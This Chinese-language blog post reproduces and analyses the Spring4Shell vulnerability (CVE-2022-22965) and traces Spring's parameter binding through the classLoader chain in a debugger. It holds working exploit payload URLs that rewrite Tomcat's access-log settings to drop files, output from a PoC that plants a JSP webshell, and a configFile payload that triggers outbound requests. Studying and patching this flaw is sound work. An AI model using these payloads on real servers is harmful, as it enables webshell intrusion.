Spring4Shell漏洞复现和分析学习 2022-04-06 09:14:34 Steven Xeldax [TOC] ## 漏洞介绍 Spring框架(Framework)是一个开源的轻量级J2EE应用程序开发框架,提供了IOC、AOP及MVC等功能,解决了程序人员在开发中遇到的常见问题,提高了应用程序开发便捷度和软件系统构建效率。 2022年3月30日,CNVD报送的Spring框架远程命令执行漏洞。由于Spring框架存在处理流程缺陷,攻击者可在远程条件下,实现对目标主机的后门文件写入和配置修改,继而通过后门文件访问获得目标主机权限。使用Spring框架或衍生框架构建网站等应用,且同时使用**JDK版本在9及以上版本**的,易受此漏洞攻击影响。 ## 漏洞影响范围 漏洞影响的产品版本包括: 版本**低于5.3.18和5.2.20的Spring框架**或其衍生框架构建的网站或应用。 ## 漏洞复现 ### linux下复现:jdk版本9.0.4,tomcat版本8.5.77 复现的环境如下 系统环境: ``` root@kali:~/Tools/CVE/spring4shell/app/tomcat/bin# uname -a Linux kali 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08) x86_64 GNU/Linux ``` 应用环境: ``` root@kali:~/Tools/CVE/spring4shell/app/tomcat/bin# ./catalina.sh version Using CATALINA_BASE: /root/Tools/CVE/spring4shell/app/tomcat Using CATALINA_HOME: /root/Tools/CVE/spring4shell/app/tomcat Using CATALINA_TMPDIR: /root/Tools/CVE/spring4shell/app/tomcat/temp Using JRE_HOME: /root/Tools/CVE/spring4shell/app/jdk9 Using CLASSPATH: /root/Tools/CVE/spring4shell/app/tomcat/bin/bootstrap.jar:/root/Tools/CVE/spring4shell/app/tomcat/bin/tomcat-juli.jar Using CATALINA_OPTS: NOTE: Picked up JDK_JAVA_OPTIONS: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED Server version: Apache Tomcat/8.5.77 Server built: Mar 13 2022 19:13:33 UTC Server number: 8.5.77.0 OS Name: Linux OS Version: 5.10.0-kali3-amd64 Architecture: amd64 JVM Version: 9.0.4+11 JVM Vendor: Oracle Corporation ``` 可以通过docker直接搭建复现的环境 > docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29 使用的POC验证脚本,目前公开的所有poc都是通过利用accesslog访问日志来写入shell的。 > https://github.com/craig/SpringCore0day > https://github.com/reznok/Spring4Shell-POC 访问目标站点http://10.168.1.134:8082/  ``` root@kali:~/Tools/CVE/spring4shell/Spring4Shell-POC# python3 exploit.py --url http://10.168.1.134:8082/ [*] Resetting Log Variables. [*] Response code: 200 [*] Modifying Log Configurations [*] Response code: 200 [*] Response Code: 200 [*] Resetting Log Variables. [*] Response code: 200 [+] Exploit completed [+] Check your target for a shell [+] File: shell.jsp [+] Shell should be at: http://10.168.1.134:8082/shell.jsp?cmd=id ``` 执行成功后会有4个200,然后在服务器上有落地这个shell文件  ### windows下复现:jdk版本9.0.4,tomcat版本8.5.3.0 ``` D:\software\tomcat\apache-tomcat-8.5.3\bin>catalina.bat version Using CATALINA_BASE: "D:\software\tomcat\apache-tomcat-8.5.3" Using CATALINA_HOME: "D:\software\tomcat\apache-tomcat-8.5.3" Using CATALINA_TMPDIR: "D:\software\tomcat\apache-tomcat-8.5.3\temp" Using JRE_HOME: "D:\software\JDK\jre-9.0.4_windows-x64_bin\jre-9.0.4" Using CLASSPATH: "D:\software\tomcat\apache-tomcat-8.5.3\bin\bootstrap.jar;D:\software\tomcat\apache-tomcat-8.5.3\bin\tomcat-juli.jar" Server version: Apache Tomcat/8.5.3 Server built: Jun 9 2016 11:16:29 UTC Server number: 8.5.3.0 OS Name: Windows 10 OS Version: 10.0 Architecture: amd64 JVM Version: 9.0.4+11 JVM Vendor: Oracle Corporation ``` 访问http://10.168.1.180:8080/  使用POC ``` http://10.168.1.180:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=success&class.module.classLoader.resources.context.parent.pipeline.first.directory=D:/&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.txt&class.module.classLoader.resources.context.parent.pipeline.first.prefix=flag ``` 直接访问  然后我们在磁盘上可以看到落地的文件  ### 高版本tomcat无法复现 在使用tomcat apache-tomcat-8.5.78 复现的时候一直出现500报错 ``` root@kali:~/Tools/CVE/spring4shell/Spring4Shell-POC# python3 exploit.py --url http://10.168.1.180:8080/ [*] Resetting Log Variables. b'{"timestamp":"2022-04-06T07:44:29.534+00:00","status":500,"error":"Internal Server Error","path":"/"}' [*] Response code: 500 [*] Modifying Log Configurations [*] Response code: 500 b'{"timestamp":"2022-04-06T07:44:29.669+00:00","status":500,"error":"Internal Server Error","path":"/"}' [*] Response Code: 200 b'ok' [*] Resetting Log Variables. [*] Response code: 500 b'{"timestamp":"2022-04-06T07:44:33.702+00:00","status":500,"error":"Internal Server Error","path":"/"}' [+] Exploit completed [+] Check your target for a shell [+] File: shell.jsp [+] Shell should be at: http://10.168.1.180:8080/shell.jsp?cmd=id ``` 从日志里可以看到报错`Invalid property 'class.module.classLoader.resources' of bean class [java.lang.Module]`  一看是以为是jdk的问题,但是在尝试从jdk9往上的所有版本都没有发现是这个报错,后面在考虑是tomcat版本的问题,但是我们tomcat为啥会版本不同无法复现呢,一开始以为是war包有兼容性问题,但是问了一圈都说没有这种事情,后面才看到8.5.78为最新的tomcat版本,官方有做一些安全机制来修复这个漏洞。  ## 漏洞复现条件 1. tomcat版本不能为10.0.20、9.0.62、8.5.78 2. 低于5.3.18和5.2.20的Spring框架 3. jdk 版本大于等9,不能为8 4. 方法传入的参数是一个类 ## 漏洞调试 ### 调试搭建 调试环境windows + idea + tomcat 8.5.3 + jdk11 ``` D:\software\tomcat\apache-tomcat-8.5.3\bin>catalina.bat version Using CATALINA_BASE: "D:\software\tomcat\apache-tomcat-8.5.3" Using CATALINA_HOME: "D:\software\tomcat\apache-tomcat-8.5.3" Using CATALINA_TMPDIR: "D:\software\tomcat\apache-tomcat-8.5.3\temp" Using JRE_HOME: "C:\Program Files\Java\jdk-11.0.1" Using CLASSPATH: "D:\software\tomcat\apache-tomcat-8.5.3\bin\bootstrap.jar;D:\software\tomcat\apache-tomcat-8.5.3\bin\tomcat-juli.jar" Server version: Apache Tomcat/8.5.3 Server built: Jun 9 2016 11:16:29 UTC Server number: 8.5.3.0 OS Name: Windows 10 OS Version: 10.0 Architecture: amd64 JVM Version: 11.0.1+13-LTS JVM Vendor: Oracle Corporation ``` 创建一个空白项目  在project struct中添加依赖,记住将WEB-INF也添加进去  下断点  开启动态调试,jdwp监听在8000  然后回到idea中设置  访问下8080成功触发断点  ### 开始分析 double shift搜索漏洞点CachedIntrospectionResults  下断点  触发payload ``` http://10.168.1.180:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=success&class.module.classLoader.resources.context.parent.pipeline.first.directory=D:/&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.txt&class.module.classLoader.resources.context.parent.pipeline.first.prefix=flag ``` 可以看到获取到了catalina的classloader   此时往下分析可能会一头雾水,我们先来看下spring的基础。 要分析这个漏洞首先要了解在spring中参数绑定的一个机制。 在spring的controller中如果一个函数的参数是类,那么spring会尝试将请求的参数动态绑定到类中的成员属性。比如下面的user  user的定义如下: ``` class User { private String username; User() { } public String getUsername() { return this.username; } public void setUsername(String username) { this.username = username; } } ``` 如果我们在url中传入`http://localhost:8080/?username=1&a=1` 那么spring会尝试将username和a的数据尝试传入User里。当然最后成功传入的变量只有username,由于a不再user中所以不会被传入。 我们可以动态调试下来看下整个过程。 利用下面的payload触发调试 > http://localhost:8080/?username=1&a=1 首先进入spring-web-5.3.17.jar!\org\springframework\web\bind\ServletRequestDataBinder.class的bind方法  逐步跟进随后调用spring-context-5.3.17.jar!/org/springframework/validation/DataBinder.class 的applyPropertyValues方法,他将调用 ` this.getPropertyAccessor().setPropertyValues(mpvs, this.isIgnoreUnknownFields(), this.isIgnoreInvalidFields());`  接着来到spring-beans-5.3.17.jar!/org/springframework/beans/AbstractPropertyAccessor.class 中setPropertyValues,他会逐一的把usernmae和a进行处理  接着会调用 this.setPropertyValue(pv); 来到spring-beans-5.3.17.jar!/org/springframework/beans/AbstractNestablePropertyAccessor.class 中的setPropertyValue方法 ``` public void setPropertyValue(PropertyValue pv) throws BeansException { AbstractNestablePropertyAccessor.PropertyTokenHolder tokens = (AbstractNestablePropertyAccessor.PropertyTokenHolder)pv.resolvedTokens; if (tokens == null) { String propertyName = pv.getName(); AbstractNestablePropertyAccessor nestedPa; try { nestedPa = this.getPropertyAccessorForPropertyPath(propertyName); } catch (NotReadablePropertyException var6) { throw new NotWritablePropertyException(this.getRootClass(), this.nestedPath + propertyName, "Nested property in path '" + propertyName + "' does not exist", var6); } tokens = this.getPropertyNameTokens(this.getFinalPath(nestedPa, propertyName)); if (nestedPa == this) { pv.getOriginalPropertyValue().resolvedTokens = tokens; } nestedPa.setPropertyValue(tokens, pv); } else { this.setPropertyValue(tokens, pv); } } ```  接着调用` nestedPa = this.getPropertyAccessorForPropertyPath(propertyName); ` 方法获取UserBean 获取到nestedPa后调用`nestedPa.setPropertyValue(tokens, pv);` 然后来到spring-beans-5.3.17.jar!/org/springframework/beans/AbstractNestablePropertyAccessor.class 中的setPropertyValue方法  然后调用spring-beans-5.3.17.jar!/org/springframework/beans/AbstractNestablePropertyAccessor.class 中的processLocalProperty方法  ``` private void processLocalProperty(AbstractNestablePropertyAccessor.PropertyTokenHolder tokens, PropertyValue pv) { AbstractNestablePropertyAccessor.PropertyHandler ph = this.getLocalPropertyHandler(tokens.actualName); if (ph != null && ph.isWritable()) { Object oldValue = null; ``` 在this.getLocalPropertyHandler(tokens.actualName); 中会尝试调用spring-beans-5.3.17.jar!/org/springframework/beans/BeanWrapperImpl.class 中的getLocalPropertyHandler方法  ``` protected BeanWrapperImpl.BeanPropertyHandler getLocalPropertyHandler(String propertyName) { PropertyDescriptor pd = this.getCachedIntrospectionResults().getPropertyDescriptor(propertyName); return pd != null ? new BeanWrapperImpl.BeanPropertyHandler(pd) : null; } ``` pd是比较关键的,他会从User Bean中寻找Username或者a或者其他属性是否存在 我们可以从PD中发现username属性(但是这边却有一个class属性,这个class属性也是能够访问,这个也是这个漏洞的根本)  获取到pd之后我们就返回到了之前的processLocalProperty方法里,他将会判断我们是否获取到了这个属性,此处由于传入的是A所以没有往下执行  pass掉第一个a,我们来看第二个username  成功往下执行他将会调用ph.getValue();和ph.setValue(valueToApply);,分别获取原本的数值和设置新的数值,此处把User.username设置为1   跟进到setvalue ``` public void setValue(@Nullable Object value) throws Exception { Method writeMethod = this.pd instanceof GenericTypeAwarePropertyDescriptor ? ((GenericTypeAwarePropertyDescriptor)this.pd).getWriteMethodForActualAccess() : this.pd.getWriteMethod(); if (System.getSecurityManager() != null) { AccessController.doPrivileged(() -> { ReflectionUtils.makeAccessible(writeMethod); return null; }); try { AccessController.doPrivileged(() -> { return writeMethod.invoke(BeanWrapperImpl.this.getWrappedInstance(), value); }, BeanWrapperImpl.this.acc); } catch (PrivilegedActionException var4) { throw var4.getException(); } } else { ReflectionUtils.makeAccessible(writeMethod); writeMethod.invoke(BeanWrapperImpl.this.getWrappedInstance(), value); } } } ``` 使用反射的方法设置新的数值`writeMethod.invoke(BeanWrapperImpl.this.getWrappedInstance(), value);` 到这里流程已经很清楚了,也知道了spring是怎么进行动态绑定的,接着我们来看下重点隐藏的class的这个属性 构造触发payload ``` http://localhost:8080/?class.123=1 ``` 我们来到setPropertyValue方法,先会调用getPropertyAccessorForPropertyPath -> AbstractNestablePropertyAccessor -> getPropertyValue 方法获取User中的class的成员  获取到class后由于123是finalpath所以就直接调用` nestedPa.setPropertyValue(tokens, pv);` 尝试给class的123赋值 然后跟踪进setPropertyValue-> processLocalProperty -> getLocalPropertyHandler -> getPropertyDescriptor尝试在从getPropertyDescriptor获取class的123成员  ``` 0 = {LinkedHashMap$Entry@8048} "annotatedInterfaces" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=annotatedInterfaces]" 1 = {LinkedHashMap$Entry@8049} "annotatedSuperclass" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=annotatedSuperclass]" 2 = {LinkedHashMap$Entry@8089} "annotation" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=annotation]" 3 = {LinkedHashMap$Entry@8148} "annotations" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=annotations]" 4 = {LinkedHashMap$Entry@8210} "anonymousClass" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=anonymousClass]" 5 = {LinkedHashMap$Entry@8280} "array" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=array]" 6 = {LinkedHashMap$Entry@8358} "canonicalName" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=canonicalName]" 7 = {LinkedHashMap$Entry@8444} "class" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=class]" 8 = {LinkedHashMap$Entry@8560} "classes" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=classes]" 9 = {LinkedHashMap$Entry@8662} "componentType" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=componentType]" 10 = {LinkedHashMap$Entry@8772} "constructors" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=constructors]" 11 = {LinkedHashMap$Entry@8891} "declaredAnnotations" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=declaredAnnotations]" 12 = {LinkedHashMap$Entry@9017} "declaredClasses" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=declaredClasses]" 13 = {LinkedHashMap$Entry@9148} "declaredConstructors" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=declaredConstructors]" 14 = {LinkedHashMap$Entry@9149} "declaredFields" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=declaredFields]" 15 = {LinkedHashMap$Entry@9199} "declaredMethods" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=declaredMethods]" 16 = {LinkedHashMap$Entry@9239} "declaringClass" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=declaringClass]" 17 = {LinkedHashMap$Entry@9240} "enclosingClass" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=enclosingClass]" 18 = {LinkedHashMap$Entry@9241} "enclosingConstructor" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=enclosingConstructor]" 19 = {LinkedHashMap$Entry@9242} "enclosingMethod" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=enclosingMethod]" 20 = {LinkedHashMap$Entry@9243} "enum" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=enum]" 21 = {LinkedHashMap$Entry@9244} "enumConstants" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=enumConstants]" 22 = {LinkedHashMap$Entry@9245} "fields" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=fields]" 23 = {LinkedHashMap$Entry@9246} "genericInterfaces" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=genericInterfaces]" 24 = {LinkedHashMap$Entry@9247} "genericSuperclass" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=genericSuperclass]" 25 = {LinkedHashMap$Entry@9248} "interface" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=interface]" 26 = {LinkedHashMap$Entry@9249} "interfaces" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=interfaces]" 27 = {LinkedHashMap$Entry@9250} "localClass" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=localClass]" 28 = {LinkedHashMap$Entry@9251} "memberClass" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=memberClass]" 29 = {LinkedHashMap$Entry@9252} "methods" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=methods]" 30 = {LinkedHashMap$Entry@9253} "modifiers" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=modifiers]" 31 = {LinkedHashMap$Entry@9254} "module" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=module]" 32 = {LinkedHashMap$Entry@9255} "name" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=name]" 33 = {LinkedHashMap$Entry@9256} "nestHost" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=nestHost]" 34 = {LinkedHashMap$Entry@9257} "nestMembers" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=nestMembers]" 35 = {LinkedHashMap$Entry@9258} "package" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=package]" 36 = {LinkedHashMap$Entry@9259} "packageName" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=packageName]" 37 = {LinkedHashMap$Entry@9260} "primitive" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=primitive]" 38 = {LinkedHashMap$Entry@9261} "signers" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=signers]" 39 = {LinkedHashMap$Entry@9262} "simpleName" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=simpleName]" 40 = {LinkedHashMap$Entry@9263} "superclass" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=superclass]" 41 = {LinkedHashMap$Entry@9264} "synthetic" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=synthetic]" 42 = {LinkedHashMap$Entry@9265} "typeName" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=typeName]" 43 = {LinkedHashMap$Entry@9266} "typeParameters" -> "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=typeParameters]" ``` 可以看到这些就是我们上面这些是能够访问到的,我们看module,module里有classloader我们能够直接访问到  并且有getClassLoader方法让我们获取这个classloader属性  那么有了这个classloader之后我们成功获取了到了`(org.apache.catalina.loader.ParallelWebappClassLoader)`这类  有个classloader后访问resource,resource中有context属性,这个就是整个Catalina的上下文  知道内存马的知道有个context就基本上可以对tomcat进行操作了。 总结一下`class.module.classLoader.resources.context` 实际上是的操作过程是 ``` ((org.apache.catalina.loader.ParallelWebappClassLoader) new UserInfo().getClass().getModule().getClassLoader()).getResources().getContext() ``` #### URL ConfigFile 利用 ``` http://localhost:8080/index?class.module.classLoader.resources.context.configFile=http://127.0.0.1:8000/naihe567&class.module.classLoader.resources.context.configFile.content.naihe=xxx ``` payload修改了context中的configFile   payload中`class.module.classLoader.resources.context.configFile.content.naihe=xxx` 设置了configFile对象中的content成员,由于设置成员会触发getXXX和setXXX方法,他首先会是出发get方法,此处访问了content所以会首先出发getContent的方法,即为 ``` public final Object getContent() throws java.io.IOException { return openConnection().getContent(); } ```  `openConnection().getContent();` 成功访问configFile中的URL 故此payload触发了一次URL请求 #### Tomcat AccessLogValve 日志写shell利用 再看另外一个getshell的payload ``` http://localhost:8080?class.module.classLoader.resources.context.parent.pipeline.first.pattern=success&class.module.classLoader.resources.context.parent.pipeline.first.directory=D:/&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.txt&class.module.classLoader.resources.context.parent.pipeline.first.prefix=flag ``` 上述payload通过属性注入修改AccessLogValue的几个属性如下 ``` class.module.classLoader.resources.context.parent.pipeline.first.pattern=success class.module.classLoader.resources.context.parent.pipeline.first.suffix=.txt class.module.classLoader.resources.context.parent.pipeline.first.directory=D:\ class.module.classLoader.resources.context.parent.pipeline.first.prefix=flag class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1 ``` 下面列出配置中出现的几个重要属性: ``` pattern:access_log文件的日志格式,格式一般是%h %l %u %t "%r" %s %b ,所以%会被格式化,但通过%{xxx}i可引用请求头字段,即可保证任意字符写入,并且可以实现字符拼接,绕过webshell检测。 directory:access_log文件输出目录。 prefix:access_log文件名前缀。 pattern:access_log文件内容格式。 suffix:access_log文件名后缀。 fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd。 默认情况下,生成的access log位于 logs目录(与webapps平行)下,文件名是localhost_access_log.2014-03-09.txt ``` 我们来调试下整个过程 获取到StandardContext上下文`StandardEngine[Catalina].StandardHost[localhost].StandardContext[]`  由于StandardContext继承自ContainerBase,parent关键词在ContainerBase中,可以通过getParent获取parent从而得到container。    利用获取到的container再一次获取pipeline  获取first中存放了AccessLogValue  分别对`org.apache.catalina.valves.AccessLogValve[localhost]` 中的日志属性就行设置从而写入shell 整个调用链为 ``` User.getClass() java.lang.Class.getModule() java.lang.Module.getClassLoader() org.apache.catalina.loader.ParallelWebappClassLoader.getResources() org.apache.catalina.webresources.StandardRoot.getContext() org.apache.catalina.core.StandardContext.getParent() org.apache.catalina.core.StandardHost.getPipeline() org.apache.catalina.core.StandardPipeline.getFirst() org.apache.catalina.valves.AccessLogValve.setXXXXXXXXXX() ``` #### 为啥只能JDK9 JDK1.8下测试,class bean下没有module bean,导致后续无法利用,如果是class.classLoader则会被黑名单拦截。 #### 为啥springboot不行 JDK9 springboot下的,和springMVC的classloader不一样,是AppClassLoader,没有getResources()。 springMVC是ParallelWebappClassLoader ## 附录 ### Tomcat StandardContext属性 ``` public class StandardContext extends ContainerBase implements Context, NotificationEmitter { private static final Log log = LogFactory.getLog(StandardContext.class); protected boolean allowCasualMultipartParsing = false; private boolean swallowAbortedUploads = true; private String altDDName = null; private InstanceManager instanceManager = null; private boolean antiResourceLocking = false; private String[] applicationListeners = new String[0]; private final Object applicationListenersLock = new Object(); private final Set<Object> noPluggabilityListeners = new HashSet(); private List<Object> applicationEventListenersList = new CopyOnWriteArrayList(); private Object[] applicationLifecycleListenersObjects = new Object[0]; private Map<ServletContainerInitializer, Set<Class<?>>> initializers = new LinkedHashMap(); private ApplicationParameter[] applicationParameters = new ApplicationParameter[0]; private final Object applicationParametersLock = new Object(); private NotificationBroadcasterSupport broadcaster = null; private CharsetMapper charsetMapper = null; private String charsetMapperClass = "org.apache.catalina.util.CharsetMapper"; private URL configFile = null; private boolean configured = false; private volatile SecurityConstraint[] constraints = new SecurityConstraint[0]; private final Object constraintsLock = new Object(); protected ApplicationContext context = null; private StandardContext.NoPluggabilityServletContext noPluggabilityServletContext = null; private boolean cookies = true; private boolean crossContext = false; private String encodedPath = null; private String path = null; private boolean delegate = false; private boolean denyUncoveredHttpMethods; private String displayName = null; private String defaultContextXml; private String defaultWebXml; private boolean distributable = false; private String docBase = null; private HashMap<String, ErrorPage> exceptionPages = new HashMap(); private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap(); private HashMap<String, FilterDef> filterDefs = new HashMap(); private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps(); private boolean ignoreAnnotations = false; private Loader loader = null; private final ReadWriteLock loaderLock = new ReentrantReadWriteLock(); private LoginConfig loginConfig = null; protected Manager manager = null; private final ReadWriteLock managerLock = new ReentrantReadWriteLock(); private NamingContextListener namingContextListener = null; private NamingResourcesImpl namingResources = null; private HashMap<String, MessageDestination> messageDestinations = new HashMap(); private HashMap<String, String> mimeMappings = new HashMap(); private final ConcurrentMap<String, String> parameters = new ConcurrentHashMap(); private volatile boolean paused = false; private String publicId = null; private boolean reloadable = false; private boolean unpackWAR = true; private boolean copyXML = false; private boolean override = false; private String originalDocBase = null; private boolean privileged = false; private boolean replaceWelcomeFiles = false; private HashMap<String, String> roleMappings = new HashMap(); private String[] securityRoles = new String[0]; private final Object securityRolesLock = new Object(); private HashMap<String, String> servletMappings = new HashMap(); private final Object servletMappingsLock = new Object(); private int sessionTimeout = 30; private AtomicLong sequenceNumber = new AtomicLong(0L); private HashMap<Integer, ErrorPage> statusPages = new HashMap(); private boolean swallowOutput = false; private long unloadDelay = 2000L; private String[] watchedResources = new String[0]; private final Object watchedResourcesLock = new Object(); private String[] welcomeFiles = new String[0]; private final Object welcomeFilesLock = new Object(); private String[] wrapperLifecycles = new String[0]; private final Object wrapperLifecyclesLock = new Object(); private String[] wrapperListeners = new String[0]; private final Object wrapperListenersLock = new Object(); private String workDir = null; private String wrapperClassName = StandardWrapper.class.getName(); private Class<?> wrapperClass = null; private boolean useNaming = true; private String namingContextName = null; private WebResourceRoot resources; private final ReadWriteLock resourcesLock = new ReentrantReadWriteLock(); private long startupTime; private long startTime; private long tldScanTime; private String j2EEApplication = "none"; private String j2EEServer = "none"; private boolean webXmlValidation; private boolean webXmlNamespaceAware; private boolean xmlBlockExternal; private boolean tldValidation; private String sessionCookieName; private boolean useHttpOnly; private String sessionCookieDomain; private String sessionCookiePath; private boolean sessionCookiePathUsesTrailingSlash; private JarScanner jarScanner; private boolean clearReferencesRmiTargets; private boolean clearReferencesStopThreads; private boolean clearReferencesStopTimerThreads; private boolean clearReferencesHttpClientKeepAliveThread; private boolean renewThreadsWhenStoppingContext; private boolean logEffectiveWebXml; private int effectiveMajorVersion; private int effectiveMinorVersion; private JspConfigDescriptor jspConfigDescriptor; private Set<String> resourceOnlyServlets; private String webappVersion; private boolean addWebinfClassesResources; private boolean fireRequestListenersOnForwards; private Set<Servlet> createdServlets; private boolean preemptiveAuthentication; private boolean sendRedirectBody; private boolean jndiExceptionOnFailedWrite; private Map<String, String> postConstructMethods; private Map<String, String> preDestroyMethods; private String containerSciFilter; private Boolean failCtxIfServletStartFails; } ``` ## 简而言之 spring允许动态绑定设置参数,一般来说我们定义一个class User{String name; int age} 如果要动态绑定只能设置name和age的数值,但是在spring中CachedIntrospectionResult.getPropertyDescriptor时候会多映射一个class属性,我们可以通过这个class再读取到module的classLoader从而获取当前ParallelWebappClassLoader,然后我们就可以覆盖ParallelWebappClassLoader中任意成员的数据(如果有set/get方法),因此本质就是一个变量覆盖漏洞,然后巧妙利用tomcat accesslogvalue的特性把webshell写入到了web的根目录 ## 参考资料 https://www.cnblogs.com/yudongdong/p/16094643.html https://mp.weixin.qq.com/s/kc7XP3K98c62Z-Euyz1EZA https://mp.weixin.qq.com/s/GRw7N22JFOea44O5IIHGnQ https://johnfrod.top/%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%e5%a4%8d%e7%8e%b0/spring-beans-rce%ef%bc%88cve-2022-22965%ef%bc%89/